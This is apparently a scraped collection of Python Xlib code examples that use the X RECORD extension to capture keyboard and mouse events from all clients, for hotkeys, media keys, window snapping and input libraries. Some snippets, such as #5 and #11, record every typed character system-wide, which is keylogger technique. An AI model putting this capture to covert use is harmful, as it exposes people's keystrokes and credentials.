Exemple #1
0
class PyMouseEvent(PyMouseEventMeta):
    def __init__(self):
        PyMouseEventMeta.__init__(self)
        self.display = Display()
        self.display2 = Display()
        self.ctx = self.display2.record_create_context(
            0, [record.AllClients
                ], [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.MotionNotify),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
                }])

    def run(self):
        if self.capture:
            self.display2.screen().root.grab_pointer(
                True, X.ButtonPressMask | X.ButtonReleaseMask, X.GrabModeAsync,
                X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_pointer(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_pointer(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        data = reply.data

        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.display.display, None, None)

            if event.type == X.KeyPress:
                keysym = self.display.keycode_to_keysym(event.detail, 0)
                self.keypress(keysym)
            if event.type == X.KeyRelease:
                keysym = self.display.keycode_to_keysym(event.detail, 0)
                self.keyrelease(keysym)
            if event.type == X.ButtonPress:
                self.click(event.root_x, event.root_y,
                           (None, 1, 3, 2, 3, 3, 3)[event.detail], True)
            elif event.type == X.ButtonRelease:
                self.click(event.root_x, event.root_y,
                           (None, 1, 3, 2, 3, 3, 3)[event.detail], False)
            else:
                self.move(event.root_x, event.root_y)
Exemple #2
0
class PyMouseEvent(PyMouseEventMeta):
    def __init__(self):
        PyMouseEventMeta.__init__(self)
        self.display = Display()
        self.display2 = Display()
        self.ctx = self.display2.record_create_context (
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.MotionNotify),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])


    def run(self):
        if self.capture:
            self.display2.screen().root.grab_pointer(True, X.ButtonPressMask | X.ButtonReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_pointer(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_pointer(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        data = reply.data

        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)            

            if event.type == X.KeyPress:
                keysym = self.display.keycode_to_keysym(event.detail, 0)
                self.keypress(keysym)
            if event.type == X.KeyRelease:
                keysym = self.display.keycode_to_keysym(event.detail, 0)
                self.keyrelease(keysym)
            if event.type == X.ButtonPress:
                self.click(event.root_x, event.root_y, (None, 1, 3, 2, 3, 3, 3)[event.detail], True)
            elif event.type == X.ButtonRelease:
                self.click(event.root_x, event.root_y, (None, 1, 3, 2, 3, 3, 3)[event.detail], False)
            else:
                self.move(event.root_x, event.root_y)
Exemple #3
0
def main(options):
    # current display
    pid_file = "/var/lock/easyxmotion.pid"
    # kill any old versions that are still running,
    # we do it this way so the current one has input focus.
    # might be a better way to just exit and give focus to the old one.
    try:
        with open(pid_file, "r") as fp:
            pid = int(fp.read())
            try:
                os.kill(pid, signal.SIGTERM)
            except OSError:
                # other isn't running
                pass
    except IOError:
        # first ever run
        pass
    with open(pid_file, "w") as fp:
        fp.write(str(os.getpid()))

    osds, windows = display_osd(options)
    disp = Display()
    root = disp.screen().root
    root.change_attributes(event_mask=X.KeyPressMask)
    root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

    event = disp.next_event()
    keycode = event.detail
    if event.type == X.KeyPress:
        key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0))
        if key and key in string.lowercase and string.lowercase.index(key) < len(windows):
            windows[string.lowercase.index(key)].activate(timestamp)
        disp.ungrab_keyboard(X.CurrentTime)
        sys.exit()
Exemple #4
0
def main(options):
    # current display
    pid_file = '/var/lock/easyxmotion.pid'
    # kill any old versions that are still running,
    # we do it this way so the current one has input focus.
    # might be a better way to just exit and give focus to the old one.
    try:
        with open(pid_file, 'r') as fp:
            pid = int(fp.read())
            try:
                os.kill(pid, signal.SIGTERM)
            except OSError:
                #other isn't running
                pass
    except IOError:
        # first ever run
        pass
    with open(pid_file, 'w') as fp:
        fp.write(str(os.getpid()))

    osds, windows = display_osd(options)
    disp = Display()
    root = disp.screen().root
    root.change_attributes(event_mask = X.KeyPressMask)
    root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

    event = disp.next_event()
    keycode = event.detail
    if event.type == X.KeyPress:
        key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0))
        if key and key in string.lowercase and string.lowercase.index(key) < len(windows):
            windows[string.lowercase.index(key)].activate(timestamp)
        disp.ungrab_keyboard(X.CurrentTime)
        sys.exit()
class KeyListener:
    def __init__(self):
        self.disp = None
        self.root = None
        self.record = None

    def setup(self):
        # get current display
        self.disp = Display()
        self.root = self.disp.screen().root

        # Monitor keypress and button press
        ctx = self.disp.record_create_context(
            0, [record.AllClients
                ], [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
                }])
        self.disp.record_enable_context(ctx, self.handler)
        self.disp.record_free_context(ctx)

    def handler(self, reply):
        """ Self function is called when a xlib event is fired """
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.disp.display, None, None)

            if event.type == X.KeyPress:
                if event.detail == 36:
                    self.record("enter")
                elif event.detail == 22:
                    self.record("backspace")
                elif event.detail == 37:
                    self.record("control")
                elif event.detail == 64:
                    self.record("alt")
                elif event.detail == 108:
                    self.record("alt-gr")

                key = XK.keysym_to_string(
                    self.disp.keycode_to_keysym(event.detail, event.state))

                if key:
                    self.record(key)

    def key_listen_loop(self):
        while True:
            self.root.display.next_event()

    def set_recorder(self, r):
        self.record = r
Exemple #6
0
class KeyEventLoop(object):
    def __init__(self):
        self.disp = Display()
        self.root = self.disp.screen().root

    def handler(self, reply):
        """ This function is called when a xlib event is fired """
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.disp.display, None, None)

            if event.type == X.KeyPress:
                pass
            elif event.type == X.KeyRelease:
                keycode = event.detail
                keysym = self.disp.keycode_to_keysym(keycode, 0)
                if hex(keysym) == MediaKey.media_next.value:
                    ControllerApi.player.play_next()
                elif hex(keysym) == MediaKey.media_previous.value:
                    ControllerApi.player.play_last()
                elif hex(keysym) == MediaKey.media_stop.value:
                    ControllerApi.player.stop()
                elif hex(keysym) == MediaKey.media_play_pause.value:
                    ControllerApi.player.play_or_pause()

    def run(self):
        # Monitor keypress and button press
        LOG.info("Linux multimedia hotkey start")
        ctx = self.disp.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])
        self.disp.record_enable_context(ctx, self.handler)
        self.disp.record_free_context(ctx)

        while 1:
            # Infinite wait, doesn't do anything as no events are grabbed
            event = self.root.display.next_event()
Exemple #7
0
class KeyEventLoop(object):
    def __init__(self, player):
        self.player = player
        self.disp = Display()
        self.root = self.disp.screen().root

    def handler(self, reply):
        """ This function is called when a xlib event is fired """
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.disp.display, None, None)

            if event.type == X.KeyPress:
                pass
            elif event.type == X.KeyRelease:
                keycode = event.detail
                keysym = self.disp.keycode_to_keysym(keycode, 0)
                if hex(keysym) == MediaKey.media_next.value:
                    self.player.play_next()
                elif hex(keysym) == MediaKey.media_previous.value:
                    self.player.play_last()
                elif hex(keysym) == MediaKey.media_stop.value:
                    self.player.stop()
                elif hex(keysym) == MediaKey.media_play_pause.value:
                    self.player.play_or_pause()

    def run(self):
        # Monitor keypress and button press
        ctx = self.disp.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])
        self.disp.record_enable_context(ctx, self.handler)
        self.disp.record_free_context(ctx)

        while 1:
            # Infinite wait, doesn't do anything as no events are grabbed
            event = self.root.display.next_event()
Exemple #8
0
class KeyBinder:

    def __init__(self):
        self._hold_keys = {}
        self._display = Display()

    def listen_hold(self, key, pressed_callback, released_callback):
        self._hold_keys[key] = (pressed_callback, released_callback)

    def bind_to_keys(self, keys, pressed_callback, *args):
        return XlibKeybinder.bind(keys, pressed_callback, *args)

    def start(self):
        XlibKeybinder.init()
        threading.Thread(target=self.run).start()

    def run(self):
        context = self._display.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])
        self._display.record_enable_context(context, self._event_handler)
        self._display.record_free_context(context)

    def _event_handler(self, reply):
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self._display.display, None, None)

            keysym = self._display.keycode_to_keysym(event.detail, 0)

            if keysym in self._hold_keys.keys():
                pressed_callback, released_callback = self._hold_keys[keysym]
                if event.type == X.KeyPress:
                    if pressed_callback:
                        GLib.idle_add(pressed_callback)
                elif event.type == X.KeyRelease:
                    if released_callback:
                        GLib.idle_add(released_callback)
Exemple #9
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, display=None):
        PyKeyboardEventMeta.__init__(self)
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])
        self.shift_state = 0  # 0 is off, 1 is on
        self.alt_state = 0  # 0 is off, 2 is on
        self.mod_keycodes = self.get_mod_keycodes()

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_keyboard(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
            if event.type == X.KeyPress:
                if self.escape_code(event):  # Quit if this returns True
                    self.stop()
                else:
                    self._key_press(event.detail)
            elif event.type == X.KeyRelease:
                self._key_release(event.detail)
            else:
                print('WTF: {0}'.format(event.type))

    def _key_press(self, keycode):
        """A key has been pressed, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift'] or keycode in self.mod_keycodes['Lock']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_press(keycode)

    def _key_release(self, keycode):
        """A key has been released, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_release(keycode)

    def escape_code(self, event):
        if event.detail == self.lookup_character_value('Escape'):
            return True
        return False

    def lookup_char_from_keycode(self, keycode):
        keysym =self.display.keycode_to_keysym(keycode, self.shift_state + self.alt_state)
        if keysym:
            char = self.display.lookup_string(keysym)
            return char
        else:
            return None

    def get_mod_keycodes(self):
        """
        Detects keycodes for modifiers and parses them into a dictionary
        for easy access.
        """
        modifier_mapping = self.display.get_modifier_mapping()
        modifier_dict = {}
        nti = [('Shift', X.ShiftMapIndex),
               ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
               ('Alt', X.Mod1MapIndex), ('Mod2', X.Mod2MapIndex),
               ('Mod3', X.Mod3MapIndex), ('Mod4', X.Mod4MapIndex),
               ('Mod5', X.Mod5MapIndex), ('Lock', X.LockMapIndex)]
        for n, i in nti:
            modifier_dict[n] = list(modifier_mapping[i])
        return modifier_dict

    def lookup_character_value(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        ch_keysym = string_to_keysym(character)
        if ch_keysym == 0:
            ch_keysym = string_to_keysym(special_X_keysyms[character])
        return self.display.keysym_to_keycode(ch_keysym)

    def toggle_shift_state(self):
        '''Does toggling for the shift state.'''
        if self.shift_state == 0:
            self.shift_state = 1
        elif self.shift_state == 1:
            self.shift_state = 0
        else:
            return False
        return True

    def toggle_alt_state(self):
        '''Does toggling for the alt state.'''
        if self.alt_state == 0:
            self.alt_state = 2
        elif self.alt_state == 2:
            self.alt_state = 0
        else:
            return False
        return True
Exemple #10
0
class KeyListener(threading.Thread):
    ''' Usage: 
        keylistener = KeyListener()
        Initially:
        keylistener.addKeyListener("L_CTRL+L_SHIFT+y", callable)
        Note that it is necessary to bind all possible combinations
        because an order of key presses can be different, for example,
        "L_CTRL+y+L_SHIFT"
        Now:
        keylistener.addKeyListener("Control_L+c+c", callable)
    '''
    def __init__(self):
        threading.Thread.__init__(self)
        self.finished = threading.Event()
        self.contextEventMask = [X.KeyPress, X.MotionNotify]
        # Give these some initial values
        # Hook to our display.
        self.local_dpy = Display()
        self.record_dpy = Display()
        self.pressed = []
        self.listeners = {}
        self.character = None
        ''' 0: Nothing caught; 1: Read buffer and call main module;
            2: Call main module
        '''
        self.status = 0

    ''' need the following because XK.keysym_to_string() only does
        printable chars rather than being the correct inverse of
        XK.string_to_keysym()
    '''

    def lookup_keysym(self, keysym):
        for name in dir(XK):
            if name.startswith("XK_") and getattr(XK, name) == keysym:
                return name.lstrip("XK_")
        return '[%d]' % keysym

    def processevents(self, reply):
        if reply.category != record.FromServer:
            return
        if reply.client_swapped:
            print_v('* received swapped protocol data, cowardly ignored')
            return
        # I added 'str', since we receive an error without it
        if not len(str(reply.data)) or ord(str(reply.data[0])) < 2:
            # not an event
            return
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.record_dpy.display, None, None)
            keycode = event.detail
            keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
            self.character = self.lookup_keysym(keysym)
            if self.character:
                if event.type == X.KeyPress:
                    self.press()
                elif event.type == X.KeyRelease:
                    self.release()

    def run(self):
        # Check if the extension is present
        if not self.record_dpy.has_extension('RECORD'):
            print_v('RECORD extension not found')
            sys.exit(1)
        r = self.record_dpy.record_get_version(0, 0)
        mes = 'RECORD extension version {}.{}'.format(r.major_version,
                                                      r.minor_version)
        print_v(mes)
        # Create a recording context; we only want key events
        self.ctx = self.record_dpy.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0)
                # (X.KeyPress, X.ButtonPress)
                ,
                'device_events': tuple(self.contextEventMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])
        ''' Enable the context; this only returns after a call to
            record_disable_context, while calling the callback function
            in the meantime
        '''
        self.record_dpy.record_enable_context(self.ctx, self.processevents)
        # Finally free the context
        self.record_dpy.record_free_context(self.ctx)

    def cancel(self):
        self.finished.set()
        self.local_dpy.record_disable_context(self.ctx)
        self.local_dpy.flush()

    def append(self):
        if len(self.pressed) > 0:
            if self.pressed[0] in ('Control_L', 'Control_R', 'Alt_L', 'Alt_R'):
                self.pressed.append(self.character)

    def press(self):
        if len(self.pressed) == 2:
            if self.pressed[1] == 'grave':
                self.pressed = []
        elif len(self.pressed) == 3:
            self.pressed = []
        if self.character in ('Control_L', 'Control_R', 'Alt_L', 'Alt_R'):
            self.pressed = [self.character]
        elif self.character in ('c', 'Insert', 'grave'):
            self.append()
        action = self.listeners.get(tuple(self.pressed), False)
        print_v('Current action:', str(tuple(self.pressed)))
        if action:
            action()

    def release(self):
        """must be called whenever a key release event has occurred."""
        # A released Control key is not taken into account
        # A cyrillic 'с' symbol is recognized as Latin 'c'
        if not self.character in ('c', 'Insert', 'grave'):
            self.pressed = []

    def addKeyListener(self, hotkeys, callable):
        keys = tuple(hotkeys.split('+'))
        print_v('Added new keylistener for :', str(keys))
        self.listeners[keys] = callable

    def check(self):  # Returns 0..2
        if self.status:
            print_v('Hotkey has been caught!')
            status = self.status
            self.status = 0
            return status

    def set_status(self, status=0):
        self.status = status
        print_v('Setting status to %d!' % self.status)
Exemple #11
0
class Handler(object):
    def __init__(self, fed):

        self.disp = None
        self.listenerObject = fed

        self.keysym_map = {
            32: "SPACE",
            39: "'",
            44: ",",
            45: "-",
            46: ".",
            47: "/",
            48: "0",
            49: "1",
            50: "2",
            51: "3",
            52: "4",
            53: "5",
            54: "6",
            55: "7",
            56: "8",
            57: "9",
            59: ";",
            61: "=",
            91: "[",
            92: "\\",
            93: "]",
            96: "`",
            97: "a",
            98: "b",
            99: "c",
            100: "d",
            101: "e",
            102: "f",
            103: "g",
            104: "h",
            105: "i",
            106: "j",
            107: "k",
            108: "l",
            109: "m",
            110: "n",
            111: "o",
            112: "p",
            113: "q",
            114: "r",
            115: "s",
            116: "t",
            117: "u",
            118: "v",
            119: "w",
            120: "x",
            121: "y",
            122: "z",
            65293: "ENTER",
            65307: "ESC",
            65360: "HOME",
            65361: "ARROW_LEFT",
            65362: "ARROW_UP",
            65363: "ARROW_RIGHT",
            65505: "L_SHIFT",
            65506: "R_SHIFT",
            65507: "L_CTRL",
            65508: "R_CTRL",
            65513: "L_ALT",
            65514: "R_ALT",
            65515: "SUPER_KEY",
            65288: "BACKSPACE",
            65364: "ARROW_DOWN",
            65365: "PG_UP",
            65366: "PG_DOWN",
            65367: "END",
            65377: "PRTSCRN",
            65535: "DELETE",
            65383: "PRINT?",
            65509: "CAPS_LOCK",
            65289: "TAB",
            65470: "F1",
            65471: "F2",
            65472: "F3",
            65473: "F4",
            65474: "F5",
            65475: "F6",
            65476: "F7",
            65477: "F8",
            65478: "F9",
            65479: "F10",
            65480: "F11",
            65481: "F12"
        }
        # get current display
        self.disp = Display()
        self.root = self.disp.screen().root

        # Monitor keypress and button press
        self.context = self.disp.record_create_context(
            0, [record.AllClients
                ], [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
                }])
        self.disp.record_enable_context(self.context, self.handler)
        self.disp.record_free_context(self.context)

        while True:
            # Infinite wait, doesn't do anything as no events are grabbed
            event = self.root.display.next_event()

    def keyBind(self, sym):
        if sym in self.keysym_map:
            return self.keysym_map[sym]
        else:
            return sym

    def handler(self, reply):
        """ This function is called when a xlib event is fired """
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.disp.display, None, None)

            keycode = event.detail
            keysym = self.disp.keycode_to_keysym(event.detail, 0)

            if keysym in self.keysym_map:
                character = self.keyBind(keysym)
                # print character
                if event.type == X.KeyPress:
                    self.listenerObject.press(character)
                elif event.type == X.KeyRelease:
                    self.listenerObject.release(character)
Exemple #12
0
class Service:
    def __init__(self) -> None:
        self.active_keys = {
            XK.string_to_keysym(key): False for key in SETTINGS.keybindings
        }
        self.modifying_keys = {
            XK.string_to_keysym(key): False for key in SETTINGS.keybinding_modifier
        }

        self.zp = ZoneProfile.from_file()
        self.coordinates = Coordinates()

        self.display = Display()
        self.root = self.display.screen().root

        self.context = self.display.record_create_context(
            0,
            [record.AllClients],
            [
                {
                    "core_requests": (0, 0),
                    "core_replies": (0, 0),
                    "ext_requests": (0, 0, 0, 0),
                    "ext_replies": (0, 0, 0, 0),
                    "delivered_events": (0, 0),
                    "device_events": (X.KeyReleaseMask, X.ButtonReleaseMask),
                    "errors": (0, 0),
                    "client_started": False,
                    "client_died": False,
                }
            ],
        )

        self.display.record_enable_context(self.context, self.handler)
        self.display.record_free_context(self.context)

    def handler(self, reply):
        data = reply.data
        while len(data):

            event, data = rq.EventField(None).parse_binary_value(
                data, self.display.display, None, None
            )

            if event.type in (X.KeyPress, X.KeyRelease):
                keysym = self.display.keycode_to_keysym(event.detail, 0)
                if keysym in self.active_keys:
                    self.active_keys[keysym] = (
                        True if event.type == X.KeyPress else False
                    )
                elif keysym in self.modifying_keys:
                    self.modifying_keys[keysym] = (
                        True if event.type == X.KeyPress else False
                    )

            if all(self.active_keys.values()):
                self.coordinates.add(event.root_x, event.root_y)
                if (event.type, event.detail) == (X.ButtonRelease, X.Button1):
                    snap_window(self, event.root_x, event.root_y)
                elif event.type == X.KeyPress:
                    keysym = self.display.keycode_to_keysym(event.detail, 0)
                    shift_window(self, keysym)

            else:
                self.coordinates.clear()

    def listen(self):
        while True:
            self.root.display.next_event()
Exemple #13
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, display=None):
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])

        self.lock_meaning = None

        #Get these dictionaries for converting keysyms and strings
        self.keysym_to_string, self.string_to_keysym = self.get_translation_dicts()

        #Identify and register special groups of keys
        self.modifier_keycodes = {}
        self.all_mod_keycodes = []
        self.keypad_keycodes = []
        #self.configure_keys()

        #Direct access to the display's keycode-to-keysym array
        #print('Keycode to Keysym map')
        #for i in range(len(self.display._keymap_codes)):
        #    print('{0}: {1}'.format(i, self.display._keymap_codes[i]))

        PyKeyboardEventMeta.__init__(self)

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_keyboard(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
            if self.escape(event):  # Quit if this returns True
                self.stop()
            else:
                self._tap(event)

    def _tap(self, event):
        keycode = event.detail
        press_bool = (event.type == X.KeyPress)

        #Detect modifier states from event.state
        for mod, bit in self.modifier_bits.items():
            self.modifiers[mod] = event.state & bit

        if keycode in self.all_mod_keycodes:
            keysym = self.display.keycode_to_keysym(keycode, 0)
            character = self.keysym_to_string[keysym]
        else:
            character = self.lookup_char_from_keycode(keycode)

        #All key events get passed to self.tap()
        self.tap(keycode,
                 character,
                 press=press_bool)

    def lookup_char_from_keycode(self, keycode):
        """
        This will conduct a lookup of the character or string associated with a
        given keycode.
        """

        #TODO: Logic should be strictly adapted from X11's src/KeyBind.c
        #Right now the logic is based off of
        #http://tronche.com/gui/x/xlib/input/keyboard-encoding.html
        #Which I suspect is not the whole story and may likely cause bugs

        keysym_index = 0
        #TODO: Display's Keysyms per keycode count? Do I need this?
        #If the Num_Lock is on, and the keycode corresponds to the keypad
        if self.modifiers['Num_Lock'] and keycode in self.keypad_keycodes:
            if self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
                keysym_index = 0
            else:
                keysym_index = 1

        elif not self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
            #Use the first keysym if uppercase or uncased
            #Use the uppercase keysym if the first is lowercase (second)
            keysym_index = 0
            keysym = self.display.keycode_to_keysym(keycode, keysym_index)
            #TODO: Support Unicode, Greek, and special latin characters
            if keysym & 0x7f == keysym and chr(keysym) in 'abcdefghijklmnopqrstuvwxyz':
                keysym_index = 1

        elif self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
            keysym_index = 1
            keysym = self.display.keycode_to_keysym(keycode, keysym_index)
            #TODO: Support Unicode, Greek, and special latin characters
            if keysym & 0x7f == keysym and chr(keysym) in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
                keysym_index = 0

        elif self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
            keysym_index = 1

        if self.modifiers['Mode_switch']:
            keysym_index += 2

        #Finally! Get the keysym
        keysym = self.display.keycode_to_keysym(keycode, keysym_index)

        #If the character is ascii printable, return that character
        if keysym & 0x7f == keysym and self.ascii_printable(keysym):
            return chr(keysym)

        #If the character was not printable, look for its name
        try:
            char = self.keysym_to_string[keysym]
        except KeyError:
            print('Unable to determine character.')
            print('Keycode: {0} KeySym {1}'.format(keycode, keysym))
            return None
        else:
            return char

    def escape(self, event):
        if event.detail == self.lookup_character_keycode('Escape'):
            return True
        return False

    def configure_keys(self):
        """
        This function locates the keycodes corresponding to special groups of
        keys and creates data structures of them for use by the PyKeyboardEvent
        instance; including the keypad keys and the modifiers.

        The keycodes pertaining to the keyboard modifiers are assigned by the
        modifier name in a dictionary. This dictionary can be accessed in the
        following manner:
            self.modifier_keycodes['Shift']  # All keycodes for Shift Masking

        It also assigns certain named modifiers (Alt, Num_Lock, Super), which
        may be dynamically assigned to Mod1 - Mod5 on different platforms. This
        should generally allow the user to do the following lookups on any
        system:
            self.modifier_keycodes['Alt']  # All keycodes for Alt Masking
            self.modifiers['Alt']  # State of Alt mask, non-zero if "ON"
        """
        modifier_mapping = self.display.get_modifier_mapping()
        all_mod_keycodes = []
        mod_keycodes = {}
        mod_index = [('Shift', X.ShiftMapIndex), ('Lock', X.LockMapIndex),
                     ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
                     ('Mod2', X.Mod2MapIndex), ('Mod3', X.Mod3MapIndex),
                     ('Mod4', X.Mod4MapIndex), ('Mod5', X.Mod5MapIndex)]
        #This gets the list of all keycodes per Modifier, assigns to name
        for name, index in mod_index:
            codes = [v for v in list(modifier_mapping[index]) if v]
            mod_keycodes[name] = codes
            all_mod_keycodes += codes

        def lookup_keycode(string):
            keysym = self.string_to_keysym[string]
            return self.display.keysym_to_keycode(keysym)

        #Dynamically assign Lock to Caps_Lock, Shift_Lock, Alt, Num_Lock, Super,
        #and mode switch. Set in both mod_keycodes and self.modifier_bits

        #Try to assign Lock to Caps_Lock or Shift_Lock
        shift_lock_keycode = lookup_keycode('Shift_Lock')
        caps_lock_keycode = lookup_keycode('Caps_Lock')

        if shift_lock_keycode in mod_keycodes['Lock']:
            mod_keycodes['Shift_Lock'] = [shift_lock_keycode]
            self.modifier_bits['Shift_Lock'] = self.modifier_bits['Lock']
            self.lock_meaning = 'Shift_Lock'
        elif caps_lock_keycode in mod_keycodes['Lock']:
            mod_keycodes['Caps_Lock'] = [caps_lock_keycode]
            self.modifier_bits['Caps_Lock'] = self.modifier_bits['Lock']
            self.lock_meaning = 'Caps_Lock'
        else:
            self.lock_meaning = None
        #print('Lock is bound to {0}'.format(self.lock_meaning))

        #Need to find out which Mod# to use for Alt, Num_Lock, Super, and
        #Mode_switch
        num_lock_keycodes = [lookup_keycode('Num_Lock')]
        alt_keycodes = [lookup_keycode(i) for i in ['Alt_L', 'Alt_R']]
        super_keycodes = [lookup_keycode(i) for i in ['Super_L', 'Super_R']]
        mode_switch_keycodes = [lookup_keycode('Mode_switch')]

        #Detect Mod number for Alt, Num_Lock, and Super
        for name, keycodes in list(mod_keycodes.items()):
            for alt_key in alt_keycodes:
                if alt_key in keycodes:
                    mod_keycodes['Alt'] = keycodes
                    self.modifier_bits['Alt'] = self.modifier_bits[name]
            for num_lock_key in num_lock_keycodes:
